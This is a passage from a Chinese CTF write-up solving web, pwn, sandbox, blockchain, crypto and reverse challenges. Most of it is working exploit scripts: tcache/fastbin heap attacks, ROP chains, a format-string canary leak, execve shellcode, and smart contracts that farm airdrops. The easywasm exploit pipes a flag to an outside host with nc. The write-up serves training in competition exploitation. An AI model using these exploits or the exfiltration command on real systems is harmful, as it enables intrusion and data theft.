注册用户名限定了`[a-zA-Z0-9]`，显然没法注入，于是好好看了看网页源码，发现是用webpack打包的。用过的都知道webpack打包后会生成.map文件，于是访问[main.dfa730c5.js.map](http://47.93.100.42:9999/static/js/main.dfa730c5.js.map)，在其中可以发现两个没有用到的api：
`searchHints`中用到的`captcha`就是从`getCaptcha`中得到的，于是：
显然可以注入，且能报错。于是经过漫长的fuzz（验证码爆破六位MD5真的很恶心，测一条payload就要等几分钟，而且测了两小时到快做出来的时候放hint把waf给了，后面的人不用再测了...难受）发现报错函数`GTID_SUBTRACT`可以用，于是就：
这里发现都是些乱码表名，而且很长，想看它们的列名时发现列名也类似，最后查数据时发现注入的hint有长度限制，光是`SELECT(列名)FROM(表名)`就已经超限了，所以猜测flag可能不在这几个表里。本地测试的时候发现`GTID_SUBTRACT`的报错信息有长度限制，于是猜测真正放flag的表可能排在后面没有显示出来，于是引入`REVERSE`函数倒序查看后面的表名：
这里出来的`EEeReHSSsIIiIggaaAAaLlLlFfFEhv`倒过来就是`vhEFfFlLlLaAAaaggIiIIsSSHeReEE`，能看出来应该是flag表了，所以最后：
## Pwn
### three
三次 chunk ，tcache 的利用，通过改stdout leak libc
add(io, "0\n")
add(io, "1\n")
delete(io, 0, "y")
delete(io, 1, "n")
#libc_base, proc_base, heap_base = get_pie_addr()
#print "libc_base:", hex(libc_base&0xffffff)
#print "heap_base:", hex(heap_base&0xffff)
heap_base = 0x8000
libc_base = 0xda7000
edit(io, 1, p64(heap_base + 0x60)[:2])
add(io, "0\n")
add(io, p64(0) + p64(heap_base + 0x10)[:2]) #2
delete(io, 0, "y\n")
edit(io, 2, p64(0) + p64(heap_base + 0x10)[:2])
add(io, p64(0) + p64(0x51))
delete(io, 0, "y\n")
delete(io, 1, "y\n")
edit(io, 2, p64(0) + p64(heap_base + 0x20)[:2])
add(io, p64(0)*7 + p64(0x201))
delete(io, 0, "y\n")
edit(io, 2, p64(0) + p64(heap_base + 0x60)[:2])
#add(io, p64(0))
#gdb_attach(io, [])
malloc_hook = 0x3ebc30
unsortbin = 0x3ebca0
stdout_addr = 0x3ec760
for i in range(8):
delete(io, 2, "n\n")
edit(io, 2, p64(0) + p64(stdout_addr + libc_base)[:2])
payload = ""
payload += p64(0x00000000fbad1800) + p64(0)*3 + p8(0)
add(io, payload)
#delete(io, 0, "n\n")
#gdb_attach(io, [])
recv(io, 8)
data = recv(io, 8)
print data
libc_addr = d2v_x64(data)
print "libc_addr:", hex(libc_addr)
libc_base = libc_addr - 0x3ed8b0
print "libc_base:", hex(libc_base)
free_hook = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f440
edit(io, 2, p64(0) + p64(free_hook - 8))
#payload = p64(0)*7 + p64(free_hook - 8)
#edit(io, 1, payload)
#gdb_attach(io, [])
add(io, "/bin/sh\x00" + p64(system_addr))
#gdb_attach(io, [])
m_c(io, 3)
s_i(io, 1)
io.interactive()
exit(0)
while True:
try:
io = get_io(target)
pwn(io)
except Exception as e:
io.close()
### SOS
主要代码：
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rax
char cpp_string; // [rsp+10h] [rbp-40h]
int size; // [rsp+3Ch] [rbp-14h]
setbuf(stdout, 0LL);
puts("Welcome to String On the Stack!");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&cpp_string);
puts("Give me the string size: ");
scanf("%d", &size);
if ( size < 0 || size > 256 )
{
puts("Invalid size!");
exit(-1);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::resize(&cpp_string, size);
puts("Alright, input your SOS code: ");
v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&cpp_string);
read_str(v3);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&cpp_string);
return 0LL;
}
乍一看似乎没啥问题，但是似乎输入size，没什么卵用啊！在输入的时候size并没有传入进去。
具体看看`read_str`函数：
ssize_t __fastcall read_str(char *s)
{
ssize_t result; // rax
char *buf; // [rsp+8h] [rbp-18h]
buf = s;
while ( 1 )
{
result = read(0, buf, 1uLL);
if ( !(_DWORD)result )
break;
if ( (_DWORD)result == -1 )
{
if ( *__errno_location() != 11 )
{
result = (unsigned int)*__errno_location();
if ( (_DWORD)result != 4 )
return result;
}
}
else
{
++buf;
}
}
return result;
}
读到read返回0或者read失败（返回-1）结束，否则继续。所以这个地方溢出是肯定的了，因为这个地方完全没有处理size的问题，所以输入个`0`作为size，就可以触发栈溢出了。题目也没有canary，似乎这样很完美嘛。
但是马上问题就来了，这个地方如果要断开，一个方法是使用`p.shutdown`，但是这样的话，read返回0，之后也无法再进行read了，那么`libc`的地址拿不到啊，即使拿到了也无法继续影响整个程序流程了，所以这样比较麻烦，好在根据我们刚才看到的，`read`退出有两种情况，一个是返回0，也就是由于EOF(也就是需要`shutdown`)，另外一种呢？当返回-1的时候也是return，所以可以利用这个。`read`是一个系统调用，当系统调用的目标位置不可写的时候，就会返回-1了，所以可以利用这种方法来达到退出这个函数的目的，之后就比较常规了，puts一下libc地址，然后返回函数开始，然后再来一次就可以正常rop了。
#! /usr/bin/env python2
# -*- coding: utf-8 -*- # vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
libc = ELF('./libc-2.27.so')
def main():
# Your exploit script goes here
pop_rdi_ret = 0x0000000000400c53 # pop rdi ; ret
pop_rsi_r15_ret = 0x0000000000400c51 # pop rsi ; pop r15 ; ret
p.ru('size:')
p.sl(str(0))
p.ru('code:')
payload = cyclic(56)
payload += p64(pop_rdi_ret)
payload += p64(0x602020)
payload += p64(0x4008e0)
payload += p64(0x400afc)
#gdb.attach(p, 'b *0x400be3')
p.s(payload)
while True:
libc_addr = p.rl(timeout=1).strip()
p.info('receiving..')
if len(libc_addr) > 4:
break
p.s('0' * 0x1000)
libc_addr = u64(libc_addr.ljust(8, '\x00'))
libc_base = libc_addr - libc.symbols['puts']
p.info('libc_base: 0x%x' % libc_base)
p.ru('size:')
p.sl(str(0))
p.ru('code: ')
payload = 'a' * 56
payload += p64(libc_base + 0x4f322)
p.sl(payload)
for i in range(3):
recved = p.rl(timeout=1)
p.info('sending..')
if len(recved) > 4:
break
p.s('ls;' + '\x00' * 0x1000)
p.irt()
if __name__ == '__main__':
main()
### hard_core fmt
这个题确实比较神奇，根据文档瞎搞搞出来的。
题目主要代码：
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // r8
__int64 v5; // r9
int vars0; // [rsp+0h] [rbp+0h]
__int16 vars4; // [rsp+4h] [rbp+4h]
__int64 anonymous0; // [rsp+8h] [rbp+8h]
char vars10; // [rsp+10h] [rbp+10h]
__int64 anonymous1; // [rsp+18h] [rbp+18h]
__int64 anonymous2; // [rsp+20h] [rbp+20h]
__int64 anonymous3; // [rsp+28h] [rbp+28h]
__int64 anonymous4; // [rsp+30h] [rbp+30h]
__int64 anonymous5; // [rsp+38h] [rbp+38h]
__int64 anonymous6; // [rsp+40h] [rbp+40h]
__int64 anonymous7; // [rsp+48h] [rbp+48h]
unsigned __int64 vars118; // [rsp+118h] [rbp+118h]
vars118 = __readfsqword(0x28u);
init();
puts("Welcome to hard-core fmt");
vars4 = 0;
memset(&vars10, 0, 0x100uLL);
vars0 = 0;
my_read(&vars0, 11);
__printf_chk(1LL, (__int64)&vars0, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL, -1LL);
puts("");
v3 = get_num();
__printf_chk(
1LL,
(__int64)"%p: %s",
v3,
v3,
v4,
v5,
*(__int64 *)&vars0,
anonymous0,
*(__int64 *)&vars10,
anonymous1,
anonymous2,
anonymous3,
anonymous4,
anonymous5,
anonymous6,
anonymous7);
gets(&vars10);
return 0;
}
一共有14个`-1`，但是输入只有11个，正常的格式化字符串漏洞，加上有`fortify`保护，是泄露不出来任何东西的。题目的保护情况是保护全开，所以也有PIE，那么之后的任意地址泄露就用不上，因为一个地址都还不知道。
然后开始瞎搞，翻`printf`文档看看有没有什么神奇的specifier，比较冷门的那种，之后就找到了这个：
a, A (C99; not in SUSv2, but added in SUSv3) For a conversion, the double argument
is converted to hexadecimal notation (using the letters abcdef) in the style
[-]0xh.hhhhp±; for A conversion the prefix 0X, the letters ABCDEF, and the
exponent separator P is used. There is one hexadecimal digit before the dec‐
imal point, and the number of digits after it is equal to the precision. The
default precision suffices for an exact representation of the value if an
exact representation in base 2 exists and otherwise is sufficiently large to
distinguish values of type double. The digit before the decimal point is
unspecified for nonnormalized numbers, and nonzero but otherwise unspecified
for normalized numbers.
其实我也没看懂他啥意思，然后尝试了一下，发现出来了两个地址。。
Welcome to hard-core fmt
%a%a%a%a%a
0x0p+00x0.0000000000001p-10220x0.07ffff7ffe1p-10220x0.07ffff7fed5p-10220x0.0000000000d68p-1022
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /pwn/hardcore_fmt
0x555555755000 0x555555756000 r--p 1000 1000 /pwn/hardcore_fmt
0x555555756000 0x555555757000 rw-p 1000 2000 /pwn/hardcore_fmt
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fec000 0x7ffff7fee000 rw-p 2000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
所以这两个地址分别在ld前后，但是至少是出来地址了。这个时候发现有一个地址还位于libc之后，根据以前的经验，这个位置一般是TLS的，也就是canary的保存地址，那么思路就出来了，通过一个地址去拿到TLS的地址，再根据这个地址，得到canary的地址，然后通过后面的任意地址泄露去把canary泄露出来，最后的栈溢出才能派上用场。这个时候其实还需要libc的地址，但是libc基地址和TLS的基地址的offset根据以前的经验，是不太一样的（各个内核不一样，但是相同内核好像不变），反正不是有任意地址泄露么？通过任意地址泄露去爆破一下，直到出现ELF头（libc的elf头），这样就得到偏移量，最后事情就简单了。
#! /usr/bin/env python2
# -*- coding: utf-8 -*- # vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
libc = ELF('./libc-2.27.so')
def main():
# Your exploit script goes here
p.ru('fmt\n')
p.sl('%a%a%a%a%a')
p.ru('1p-10220x0.07')
p.ru('1p-10220x0.0')
tls_addr = int(p.ru('p-1')[:-3] + '00', 16)
p.info('tls addr 0x%x' % tls_addr)
p.sl(str(tls_addr + 0x29))
p.ru(': ')
canary = p.r(15)
#gdb.attach(p)
if DEBUG:
libc_addr = tls_addr - 0x500 - 0x60e000
else:
libc_addr = tls_addr - 0x500 - 0x60e000 - 0x9000
payload = 'a' * 0x100 + 'b' * 8 + '\x00' + canary
payload += 'x' * 16
payload += p64(libc_addr + 0x4f2c5)
p.sl(payload)
p.irt()
def get_libc_offset(p, offset):
p.ru('fmt\n')
p.sl('%a%a%a%a%a')
p.ru('1p-10220x0.07')
p.ru('1p-10220x0.0')
tls_addr = int(p.ru('p-1')[:-3] + '00', 16)
p.info('tls addr 0x%x' % tls_addr)
libc_addr = tls_addr - 0x500 - 0x60e000 + offset
p.rl()
#gdb.attach(p)
p.sl(str(libc_addr))
p.ru(': ')
magic = p.r(4)
p.info(magic)
if magic == '\x7fELF':
return True
else:
return False
def brute_force():
for i in range(-0x9000, -0x8000, 0x1000):
with remote(sys.argv[1], sys.argv[2]) as p:
try:
p.info('offset: %x' % i)
if get_libc_offset(p, i):
break
except Exception as e:
p.info(e)
continue
if __name__ == '__main__':
main()
### easiest
bug还行，比较明显，delete没有清空，造成double free，没有edit所以不能直接UAF。
题目好像没有给libc，不过赌了一把libc是2.23（因为看题目名字好像是atum出的，他曾经暴露过他用的ubuntu 16.04
[奸笑]，好吧我承认，主要是因为别的我就不会做了，所以就试试呗）
然后就是找fastbin attack能打的地方，因为没办法leak libc，所以老方法（什么malloc hook，free hook就别想了）。
在已知地址范围内（bin里），能打的地方并不多，其中一个就是GOT表之后的data，里边有stdin和stdout的内容（这两个地址差0x10，也就是至少有一个0x8的空白，能够用来当fastbin
attack的目标，这也是为什么GOT不能直接打，因为不存在这样的条件，满足不了size），所以可以改stdin或者stdout的指针（stdin也可以改，因为前面got的地址可以用来当size，足够控制到stdin）。
最开始尝试改stdin，然后发现，因为是`fread`一个字节一个字节读的，在读的过程当中，stdin就已经变成无效地址了，所以不能改stdin，那就只剩stdout了，那就改stdout然后构造一下结构体即可。构造的过程稍微有一点tricky，需要跟到函数里面去看哪些地址被用到了（我记得有0x88,
0xd8和还有一个不记得的偏移有意义，需要分别满足指向为0之类的条件，0xd8是vtable偏移，就比较好办），最后就调vtable就好了。
#! /usr/bin/env python2
# -*- coding: utf-8 -*- # vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
def add(idx, size, content):
p.ru('delete \n')
p.sl('1')
p.ru('(0-11):')
p.sl(str(idx))
p.ru('Length:')
p.sl(str(size))
p.ru('C:')
p.sl(content)
def delete(idx):
p.ru('delete \n')
p.sl('2')
p.ru('(0-11):')
p.sl(str(idx))
def main():
# Your exploit script goes here
add(10, 0x110, p64(0x400946) * (0x100 // 0x8))
add(0, 0x31, 'a')
add(1, 0x31, 'b')
delete(0)
delete(1)
delete(0)
add(0, 0x31, p64(0x602082 - 8))
add(1, 0x31, 'neo is god')
add(1, 0x31, p64(0))
#gdb.attach(p, 'b vfprintf')
add(11, 0x31, 'a' * 6 + '\x00' * 0x10 + p64(0x6020c0 - 0x88))
p.sl('1')
p.irt()
if __name__ == '__main__':
main()
### houseofatum
three 利用的进一步，这次只有两个chunk可以用。
int alloc()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 1 && notes[i]; ++i )
;
if ( i == 2 )
return puts("Too many notes!");
printf("Input the content:");
notes[i] = malloc(0x48uLL);
readn(notes[i], 72LL);
return puts("Done!");
}
漏洞点也很明显： 指针没有清零：
if ( v1 >= 0 && v1 <= 1 && notes[v1] )
{
free((void *)notes[v1]);
printf("Clear?(y/n):");
readn(&v2, 2LL);
if ( v2 == 121 )
notes[v1] = 0LL;
puts("Done!");
}
else
当我循环释放一个chunk，直到它进入到 fastbin的时候，我们会发现它的指针会偏移到 chunk header。这是由于 fastbin 和
tcache的指针表示不一样导致的。
总结下思路：
1. 通过 uaf 得到heap地址
2. free chunk 使得其达 tcache list 满了，这个时候 chunk 会被放入到 fastbin
3. 修改 fd 指向 heap 头 ，write tcache_entry[3]: 0x555555757060 ---> 0x555555757010
4. 然后再把 heap 头这个 chunk 拿回来 ，free 它7次，直到 tcahce 满了
5. 这个时候 heap 头的这块chunk 就会被放入到 unsortbin: 0x555555757000 (size : 0x250)
6. 重新拿回来就能 泄露 libc
7. 由于前面的操作，使得我们拥有了另外一个指向这个chunk 的指针，所以只要修改到 free hook 就行。
#coding:utf-8
from swpwn import *
# from pwn import *
io,elf,libc= init_pwn('./houseofAtum','libc.so.6',remote_detail=('60.205.224.216',9999))
libc_base = 0x00007ffff7ddc000
free_hook_offset = 0x3ed8e8
system_offset = 0x4f440
def add(msg):
sla('Your choice:','1')
sa('Input the content:',str(msg))
def edit(idx,msg):
sla('Your choice:','2')
sla('Input the idx:',str(idx))
sa('Input the content:',str(msg))
def delete(idx,clear):
sla('Your choice:','3')
sla('Input the idx',str(idx))
sla('Clear?(y/n):',str(clear))
def show(idx):
sla('Your choice:','4')
sla('Input the idx:',str(idx))
add('A')
add('B'*2)
# leak heap
delete('0','n')
delete('1','n')
show(1)
print ru('Content:')
heap_base = raddr()
heap_base = heap_base - 0x260
lg('heap_base: ',heap_base)
# raw_input('wait to debug')
for i in range(5):
delete(0,'n')
delete(1,'y')
delete(0,'y')
# raw_input('wait to debug')
payload = "a"*0x30
payload += p64(0) + p64(0xa1)
payload += p64(heap_base + 0x30)
add(payload) #0
add('1') #
#next tcache = heapbase + 0x10
delete(1, "y")
#(0x50) tcache_entry[3]: 0x555555757030
#(0xa0) tcache_entry[8]: 0x5555557572a0 (overlap chunk with 0x555555757250(freed) )
add('1',)
delete(0,'y')
#(0x50) tcache_entry[3]: 0x555555757260 (overlap chunk with 0x555555757250(freed) )
#(0xa0) tcache_entry[8]: 0x5555557572a0 (overlap chunk with 0x555555757250(freed) )
payload = p64(0)*7 + p64(heap_base + 0x10)
edit(1, payload)
# write tcache_entry[3]: 0x555555757060 ---> 0x555555757010
#(0x50) tcache_entry[3]: 0x555555757010
#(0xa0) tcache_entry[8]: 0x5555557572a0 (overlap chunk with 0x555555757250(freed) )
add(p8(0x11))
#now free chunk 0x555555757000 to unsortbin
#addr prev size status fd bk
#0x555555757000 0x0 0x250 Used None None
#0x555555757250 0x0 0x50 Freed 0x0 None
#0x5555557572a0 0x0 0x50 Used None None
for i in range(7):
delete(0, "n")
delete(0, "y")
#now mov 0x555555757000 -> tcache
payload = p64(0)*7 + p64(heap_base + 0x10)
edit(1, payload)
#(0x50) tcache_entry[3]: 0x555555757010 (overlap chunk with 0x555555757000(freed) )
#(0xa0) tcache_entry[8]: 0x5555557572a0 (overlap chunk with 0x555555757250(freed) )
#(0x250) tcache_entry[35]: 0x555555757010 (overlap chunk with 0x555555757000(freed) )
add(p8(0x11))
show(0)
print ru('Content:')
libc_base = raddr()+ 0xc143ef# - 0x3ebca0
lg('libc_base: ',libc_base)
free_hook = libc_base + free_hook_offset
system_addr = libc_base + system_offset
delete(0,'y')
payload = p64(0)*7 + p64(free_hook-8)
edit(1, payload)
raw_input('wait to debug')
add("/bin/sh\x00" + p64(system_addr))
raw_input('wait to debug')
ru('Your choice:')
sl('3')
ru('Input the idx:')
sl('0')
io.interactive()
### easywasm
这道题的主要分析难度在于Wasm文件的逆向。
分析wasm文件可以发现其中包括一个奇怪的导入函数`_emscripten_run_script`，查阅文档可知，这个API是用于在C编译出的Wasm中动态执行JS函数。
查了一下交叉引用发现没有函数调用了`_emscripten_run_script`这个API。
想起今年BlackHat出了一篇关于Wasm漏洞的文章，[Security Chasms of WASM - Black
Hat](https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf)，里面提到了一些基本的Wasm攻击思路。
基本路径是：寻找内存覆盖->覆盖关键内存变量（函数指针）->远程代码执行XSS（在nodejs上也可以说是getshell）。
+------------------------------+
| |
| index(4 byte) |
| |
+------------------------------+
| |
| isused(4 byte) |
| |
+------------------------------+
| |
| |
| |
| name(60 byte) |
| |
| |
| |
| |
+------------------------------+
| |
| istutor(4 byte) |
| |
+------------------------------|
在`add_person`中name长度不受限制，但是istutor参数是在name之后赋值的。
在`change_name`中name长度依然不受限制，所以可以覆盖istutor。
在`intro`函数中包含了一个函数指针,而具体的调用函数则与istutor的值有关，我们发现当istutor的低字节为5时，istutor调用的是`_emscripten_run_script`，剩下的就很简单了。
from __future__ import print_function
from pwn import *
import requests
# remote_url = 'http://127.0.0.1:23333/'
remote_url = 'http://39.96.13.247:9999/'
req = requests.get(remote_url + 'add_person/?name=hello')
print('add_person:', req.text)
person_id = int(req.text.split('=')[1])
script = """
const exec = require('child_process').exec;
const child = exec('cat flag | nc vps.dagebiegaowo.com 8888',
(error, stdout, stderr) => {
});
"""
script = script.replace('\n', '')
print('script:', script)
params = {
'id': person_id,
'name': '/*' + '5'*60 + '*/' + script
}
req = requests.get(remote_url + 'change_name/', params)
print('change name:', req.text)
req = requests.get(remote_url + 'intro/?id={}'.format(person_id))
print('intro:', req.text)
以上。
## Misc
### easysandbox
print("[+]escape the sandbox!")
sys.stdout.flush()
ELF = sys.stdin.readline()[:-1]
print(len(ELF))
if (len(ELF) > 1048576):
print("[-]ELF too big!")
return
elfname = tofile(ELF)
if elfname == "":
print("[-]base64 please!")
sys.stdout.flush()
return
os.system("chmod +x %s" % elfname)
io = process(elfname, env=env)
io.interactive()
进到沙箱后，先是判断了下大小，然后 hook 了下 `env = {"LD_PRELOAD": os.path.join(os.getcwd(),
"scf.so")}`,有点像以前Pwn 通防的套路。
v11 = ubp_av;
v10 = init;
v9 = fini;
v8 = rtld_fini;
puts("hook __libc_start_main success!");
handle = dlopen("libc.so.6", 1);
if ( !handle )
exit(1);
v13 = (__int64 (__fastcall *)(int (__fastcall *)(int, char **, char **), _QWORD, char **, void (*)(void), void (*)(void), void (*)(void), void *, __int64))dlsym(handle, "__libc_start_main");
if ( !v13 )
exit(2);
if ( (unsigned int)install_syscall_filter() )
exit(3);
return v13(main, (unsigned int)argc, v11, v10, v9, v8, stack_end, v14);
会发现其实是，如果调用libc.so.6 他会进行相关check ，那最简单的方法就是...写个汇编 ...然后编译
$ cat 1.asm
section .text
global _start
_start:
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx,'/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall
编译后，发送过去即可。
## BlockChain
### Fake3d
薅羊毛攻击：
contract father {
function father() payable {}
Son son;
function attack(uint256 times) public {
for(uint i=0;i<times;i++){
son = new Son();
}
}
function () payable {
}
}
contract Son {
function Son() payable {
Fake3D f3d;
f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
f3d.airDrop();
if (f3d.balance(this)>=10)
{
f3d.transfer(0x4ecdDBF5C4aDBEE2d42bf9840183506Cf27c6D3f,10);
}
selfdestruct(0x4ecdDBF5C4aDBEE2d42bf9840183506Cf27c6D3f);
}
function () payable{
}
}
攻击完成后，提取flag时发现不对劲，有问题，怀疑winnerlist合约不对，找到了该合约真正的地址，并继续逆向：
[https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten](https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten)
简单来说，还需要满足用户的地址最后为0x43或倒数2位为0xb1. 用<https://vanity-eth.tk/>
爆破，得到地址，转账，获取flag。
### EOSGAME
赌博游戏，赌就行了，写个攻击合约在一个block里面多赌几次。20%中100倍奖励，很划算
contract EOSGame_exp{
EOSGame eosgame;
constructor() public{
eosgame=EOSGame(0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F);
}
function init() public{
eosgame.initFund();
}
function small(uint times) public{
for(uint i = 0; i < times; i++) {
eosgame.smallBlind();
}
}
function big(uint times) public{
for(uint i = 0; i < times; i++) {
eosgame.bigBlind();
}
}
function bof() public view returns(uint256){
return eosgame.eosBlanceOf();
}
function flag(string b64email) public{
eosgame.CaptureTheFlag(b64email);
}
}
## Crypto
### guess_polynomial
from zio import *
print 1 << 120
target=("39.96.8.114",9999)
io=zio(target)
for time in range(0,10):
io.read_until("Please input your number to guess the coeff: ")
io.writeline("1"+"0"*45)
io.read_until("This is the sum: ")
sum=io.readline().strip()
fp=len(sum)%45
alset=[]
for i in range(fp,len(sum),45):
alset.append(sum[i:i+45])
ss=sum[0:fp]+" "
for i in alset:
ss+=str(int(i))+" "
io.read_until("It is your time to guess the coeff!")
io.writeline(ss)
io.interact()
## Reverse
### easypt
用[simple-pt](https://github.com/andikleen/simple-pt)的`fastdecode`解packet文件,
找到pt程序中的循环代码对应的`TNT`指令, 提取数据模拟JCC.
s = "TTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTNTTTTN